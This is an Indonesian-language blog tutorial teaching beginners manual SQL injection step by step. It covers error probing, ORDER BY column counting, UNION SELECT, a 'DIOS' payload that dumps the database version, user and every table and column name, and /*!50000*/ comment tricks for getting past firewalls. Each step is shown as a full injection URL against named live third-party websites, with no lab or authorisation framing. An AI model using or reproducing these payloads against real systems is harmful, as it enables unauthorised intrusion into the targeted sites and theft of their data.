Tutorial SQLinjection bagi pemula

STEP BY STEP SQL injection / point point penting dalam SQL injection beserta penjelasannya.

<=============>


1. Index (Tampilan Awal Suatu Website Atau Aplikasi)

perumpamaan》salah satu contohnya ada pada suatu website yang menampilkan sesuatu saat pertama kali saat dibuka.

Saat melakukan proses injeksi disuatu website pastilah ada tampilan awal website yang harus kita perhatikan secara teliti.

Saya umpamakan pada live target berikut :: 

1. https://www.nipponpaint.co.th/corporate/news_and_events/news_view.php?id=15

2. https://www.amerisoftpro.com/news_view.php?id=1

3 . https://www.mykopio.id/brands?id=4

Ketiga

 website ini akan saya gunakan sebagai perantara materi kali ini, kita gunakan 1 website saja, dan web lainnya akan berguna dipertengahan pembahasan materi ini.


<=============>


2. parameter ( php?id=1)

di suatu website yang memang rentan atau vuln sqli biasanya memiliki parameter, dan kita melakukan proses injeksi melalui parameter ini, dan ingat teman-teman "ga semua website sqli memiliki parameter"

 kali ini kita akan membahas SQLinjection yang berparameter angka.


https://www.nipponpaint.co.th/corporate/news_and_events/news_view.php?id=15

https://www.amerisoftpro.com/news_view.php?id=1

https://www.mykopio.id/brands?id=4


<=============>


3. single quote / double quote ( '/ " ) sebut saja tanda petik.

fungsi / kegunaan dari single quote atau tanda petik ini tujuannya adalah untuk melihat kerentanan dari website yang vuln Injeksi.


Cara Peletakan Single quote》

website normal》php?id=1

website error》php?id=1'


ketika websitenya rentan tampilan websitenya akan error atau tidak sepeti website yang normal sebelum kita memberikan single quote, ya intinya memiliki perubahan di dalam websitenya.

Saya contohkan pada berikut ini

Dibawah ini adalah website dengan index normal tanpa menggunakan karakter "Single quote" 


Dan kita lanjutkan pembahasan selanjutnya, lalu bagaimana dengan tampilan website yang sudah diberikan "single quote" ?, apakah ada perbedaan diantaranya? Baiklah saya jelaskan secara rinci, disini saya menggunakan 2 website untuk memperlihatkan perbedaan diantara website-website vuln lainnya.


Dibawah ini adalah Tampilan website yang sudah diberikan "Single Quote"


Ada perbedaan pada index sebelumnya bukan? Jika sebelumnya normal dikarenakan tak adanya "Single Quote" maka ini terlihat error dikarenakan adanya "single quote"

Yang bertuliskan ::

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Begitulah gambaran ketika website yang vuln SQLinjection, tapi ada juga yang ketika sebuah website Vuln SQLinjection ia tak menunjukan suatu bacaan seperti web sebelumnya, hanya saja tampilan index yang berbeda.

Kali ini saya menggunakan website lain yaitu sebagai berikut ::

Dibawah ini tampilan atau indexnya masih normal dikarenakan belum diberikan URL Balancer

https://www.amerisoftpro.com/news_view.php?id=1

Dan bagaimana jika diberikan "single quote"? Apakah ada perubahan didalam websitenya...? Mari kita lihat gambar dibawah ini


https://www.amerisoftpro.com/news_view.php?id=1'

Dan lihat tampilannya ketika diberikan "single quote" memang tak ada keterangan error SQL syntax tetapi kita dapat memastikan itu error dikarenakan ada perbedaan ketika sebelum dan sesudah diberikan "single quote"

Mungkin Kedua website tersebut sudah cukup dipahami untuk masalah error dalam index 

1.ada keterangan error

2.tidak ada keterangan error (tetapi dapat dipastikan error dikarenakan indexnya berbeda)

<==================>

4. URL Balancer (--+-)

sebenarnya url balancer bukan hanya itu tapi masih banyak lagi.

Url balancer berguna / berfungsi untuk menormalkan kerentanan website yang telah diberikan Single Quote, website tersebut akan kembali normal seperti biasa.

PENGERTIAN》Tidak semua website support atau mendukung Single quote.


Peletakan Url Balancer》

website normal》php?id=1

website error》php?id=1'

website normal》website error》php?id=1'--+-


Saya akan mencontohkan pada dua website yang sama sebelumnya, yaitu cara peletakan dan gambaran bagaimana caranya.


Perhatikan website pertama ketika saya berikan "URL Balancer"

Yups terlihat normal kembali dikarenakan adanya "URL Balancer"

https://www.amerisoftpro.com/news_view.php?id=1'--+-

begitulah tampilan ketika diberikan diatas ketika diberikan "URL Balancer" terlihat normal, tapi bagaimana dengan website yang tidak support "URL Balancer" perhatikan gambar dan website dibawah ini.

https://www.nipponpaint.co.th/corporate/news_and_events/news_view.php?id=15'--+-

Yups tetap error kan? Karena web ini tak support "single quote"

Begitulah kira kira gambarannya, ada beberapa website yang support dengan "Single Quote" dan ada beberapa website yang tidak support dengan "Single Quote" apakah sudah jelas? 


Lalu bagaimana caranya agar menormalkan website yang tidak support pada "Single Quote"? Yups cukup hapus saja "Single Quote"nya perhatikan web dibawah ini

https://www.nipponpaint.co.th/corporate/news_and_events/news_view.php?id=15--+-

Jadi hanya cukup menghapus Single Quotenya saja ahar websitenya normal kembali, jika website yang support single quote maka tak perlu lagi menghapusnya, karena ini berpengaruh kepada semua yang kita kerjakan.


Keistimewaan Url balancer》keistimewaan url balancer adalah letaknya tetap di paling belakang.

Yuk kita lanjut.

<=============>

5. ORDER BY (menghitung / mencari angka column)

fungsi / kegunaan dari ORDER BY mencari atau menghitung angka column, ORDER BY juga berpengaruh pada index.


PELETAKAN TERHADAP ORDER BY》

website normal》php?id=1'ORDER BY 1--+-


disini sudah saya jelaskan bahwa ORDER BY juga berpengaruh pada Index, intinya begini setiap apapun yang kita lakukan dari step by step cara menginjeksinya itu berpengaruh pada indexnya.

disini kita mencari angka column yang pas untuk melakukan injeksinya, 

dan cara mencari columnnya tinggal menambah angka yang berada pada setelah order by


CONTOH》

website normal》php?id=1'ORDER BY 1--+-

website normal》php?id=1'ORDER BY 2--+-

website normal》php?id=1'ORDER BY 3--+-

website normal》php?id=1'ORDER BY 4--+-

website normal》php?id=1'ORDER BY 5--+-

website normal》php?id=1'ORDER BY 6--+-

Dan seterusnya

Disini saya jelaskan secara singkat dan jelas agar tidak terlalu rumit ubtuk kalian memahaminya, perhatikan gambar dibawah ini dan tatacara peletakan dibawah gambar tersebut disini saya menggunakan 2 web yang sebelumnya juga.

Nahh web dibawah ini error di angka 3 bisa kita lihat digambar, mari kita lanjutkan.



https://www.amerisoftpro.com/news_view.php?id=1'ORDER BY 3--+-

Disini tampilan error ketika berada di ORDER BY 3

Dan perhatikan dibawah ini saat berada pada angka 2, yups websitenya terlihat normal,


https://www.amerisoftpro.com/news_view.php?id=1'ORDER BY 2--+-

Dapat dipastikan angka saat penghitungan columns itu diangka 2, dikarenakan angka 3 sudah tertera error, apakah sudah dapat dipahami? Jika belum maka akan saya perlihatkan website satu lagi.

Perhatikan website dibawah ini, error berada diangka 12, pertanyaan bagi kalian yang bingung kenapa website dibawah ini tidak memili single quote?

Dikarenakan website ini tidak support pada Single quote, lalu bagaimana cara mengerjakannya? Perhatikan website dibawah ini.


https://www.nipponpaint.co.th/corporate/news_and_events/news_view.php?id=15 ORDER BY 11--+-

Pada order by 11 dia tetap terlihat normal, maka coba kita tambah terus angkanya agar websitenya Error.

Dan dibawah ini saya menemukan Error pada website diangka 12 bida kita perhatikan dibawah ini


https://www.nipponpaint.co.th/corporate/news_and_events/news_view.php?id=15 ORDER BY 12--+-

Dapat dilihat dari errornya, yaitu memiliki keterangan :: Unknown column '12' in 'order clause'

Yang berarti website error karenya kelebihan angka, dan index atau tampilan awal terlihat normal ketika pada angka 11 sampai sini apakah sudah bisa dipahami?



PERINGATAN》

cara mengetahui angka column yang tepat adalah, Angka normal sebelum Error.

Jadi usahakan untuk teliti dalam melakukan SQLinjection terhadap index.


PERINGATAN》

disetiap website memiliki parameter yang berbeda dan angka column yang berbeda.


setelah kita mengetahui columnnya berada pada angka 6 maka next angka selanjutnya adalah UNION SELECT

<=============>

6. UNION SELECT (memunculkan cela injeksi didalam website)

UNION SELECT berguna / berfungsi untuk memunculkan cela injeksi didalam website.

cara mengerjakan atau tata letaknya seperti apa?

oke sedikit penjelasan bahwa

PERINGATAN》

UNION SELECT berpatokan pada ORDER BY, ketika kita menemukan angka column saat melakukan order by maka saat UNION SELECT angka tersebut harus sama.


tadinya saya melakukan order by dan menemukan angka 3 error dan angka 2 normal, dan website satunya saya menemukan angka normal 11 dan error diangka 12

nahh cara UNION SELECTnya seperti ini.


php?id=1'AND 0 UNION SELECT 1,2--+-

lalu lihat indexnya.

Baiklah saya terapkan dibawah ini, perhatikan paa saat melakukan Union Select dan tatacara peletakannya.


https://www.amerisoftpro.com/news_view.php?id=1 AND 0 UNION SELECT 1,2--+-

Lihat diindexnya ada 2 angka yang muncul, sebut saja dengan angka cela atau angka emas agar tidak pusing.

kegunaan UNION SELECT adalah memunculkan cela website, nah coba kita lihat di index biasanya ada cela injeksi berupa angka, dan semisal di index keluar angka 1,2.

maka itu adalah cela injeksinya,


Masih bingung kita coba website satu lagi, perhatikan gambar dibawah ini ada angka cela pada angka 4


https://www.nipponpaint.co.th/corporate/news_and_events/news_view.php?id=15 AND 0 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11--+-

Pertanyaanya tau darimana angka paa UNION SELECT itu berasal? Yups tadi sudah saya katakan yaitu dengan melihat normalnya websit pada melakukan ORDER BY atau penghitungan angka.

Paham?

Oke next

<=============>

7.DIOS (Dump In One Shoot) artinya adalah buang dalam satu tembakan.

pengertian》

nantinya dios ini berfungsi untuk memunculkan database yang ada di website tersebut, intinya itu sejenis perintah agar semua table name dan column name-nya terlihat di website tersebut.

tatacara peletakannya dan melakukan untuk dios》

php?id=1'AND+0+UNION+SELECT+1,2--+-


ingat di indexnya diatas 1,2.

kalau begitu kita harus meletakan dios di angka injeksi.

CONTOH》

semisal kita mau melakukan perintah di angka injeksi 3 maka kita hapus angka 2 dan kita tampel diosnya.


php?id=1'AND+0+UNION+SELECT+1,dios--+-

Baiklah disini saya menggunakan 1 website saja, perhatikan tatacara leletakannya


https://www.amerisoftpro.com/news_view.php?id=1'AND 0 UNION SELECT 1,concat(0x2e2f6e756d625f5831323c62723e,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,0x3c62723e,concat(@numb:=0x00,(select count(*) from information_schema.columns where table_schema=database() and @numb:=concat(@numb,0x3c62723e,table_name,0x203e3e20,column_name)),@numb))--+-


PERINGATAN

ketika ingin memberikan DIOS usahakan untuk menghapus salah satu angka yang berada paa UNION SELECT dan hapuslah angka yang yang kita metahui itu adalah angka cela pada indexnya.

Paham?

nantinya akan ada keluar perintah dari dios tersebut berupa DB, mau itu table name atau table column.

<=============>

8. Pengertian Bypass (Jalan pintas)

Bypass Bermakna jalan pintas, 

di suatu website saat melakukan UNION SELECT pasti ada website yang tidak mengakses jalan masuknya hingga Terlihat error di index tersebut, saya contohkan biasanya website ketika tidak dapat diakses terdapat tulisan

•NoAcceptable

•Forbidden

•403

DLL



saya memperumpamakan atau mengistilahkan dirimu yang ingin ke kamar mandi 2 pintu, karena dirimu udah kebelet untuk buang air jadi tujuanmu adalah ke kamar mandi tadi.


sayangnya ketika dirimu ingin membuka  pintu itu tetapi pintu itu terkunci pertanyaannya, bagaimana dirimu ingin masuk kedalam kamar mandi tersebut?

saya memberikan pilihan.

Cara membuka pintu kamar mandi

•Dobrak

•Menggunakan linggis

nahh kita menggunakan linggis, 

anggap saja linggis itu adalah

Linggis》/*!50000*/

Pintu Satu》UNION

Pintu kedua》SELECT

Nah kedua pintu itu terkunci, lalu kita membukanya dengan linggis dipintu pertama.

jadi apa yang harus kita lakukan terhadap UNION SELECT-nya? lihat cara saya membuka pintu pertama dengan linggis.

contoh yang mau kita buka adalah pintu pertama jadi seperti ini

Contoh 》

buka puntu pertama》/*!50000UNION*/

buka puntu kedua》/*!50000SELECT*/


jadi peletakannya seperti apa?

contoh》

Saya menggunakan website yang berbeda, web yang saya gunakan ada pada awal materi yaitu:

https://www.mykopio.id/brands?id=4

Kita langsung saja pada proses BYPASSnya

https://www.mykopio.id/brands?id=4 AND 0 UNION SELECT 1--+-

Tertera diwebsite pada saat ingin memunculkan angka celanya terdapat keterangan "NO ACCEPTABLE"

maka dibypasa menggunakan /*!50000UNION*/


https://www.mykopio.id/brands?id=4 AND 0 /*!50000UNION*/ SELECT 1--+-

maka akan muncul angka cela, jika wesitenya Memerlukan bypass maka diosnya juga harus memerlukan bypass


Contoh::


https://www.mykopio.id/brands?id=4 AND 0 /*!50000UNION*/ SELECT /*!50000concat/**8**/*/(0x3c62723e,0x3c62723e50696374757265203a3a203c666f6e7420636f6c6f723d7265643e20343033204143434553532044454e494544203c2f666f6e743e3c62723e,0x3c666f6e7420636f6c6f723d22726564223e3c623e,0x2e2f6e756d625f583132,0x3c2f623e,0x3c2f666f6e743e,0x3c62723e,0x557365723a3a,current_user,0x3c62723e,0x56657273696f6e3a3a,version(),0x3c62723e,0x44617461626173653a3a,database/*data*//**8**/(),0x3c62723e,0x3c62723e,(select(@x)/*!50000from/**8**/*/(/*!50000select/**8**/*/(@x:=0x00),(select(0)/*!From/**8**/*/(/*!50000information_schema.columns/**8**/*/)/*!50000where/**8**/*/(table_schema=database/*data*//**8*/())and(0x00)in(@x:=/*!50000coNcat/**8**/*/(@x,0x3c6c693e,/*!50000table_name/**8**/*/,0x203e3e20,/*!50000column_name/**8**/*/))))x))--+-



PERINGATAN》

ada banyak jenis bypass UNION SELECT bukan hanya itu tapi yang di bahas hanya itu saja terlebih dahulu.

selebihnya nanti kalian akan  mengerti dan berkembang sendiri.

Terimakasih.

Posting Komentar

Lebih baru Lebih lama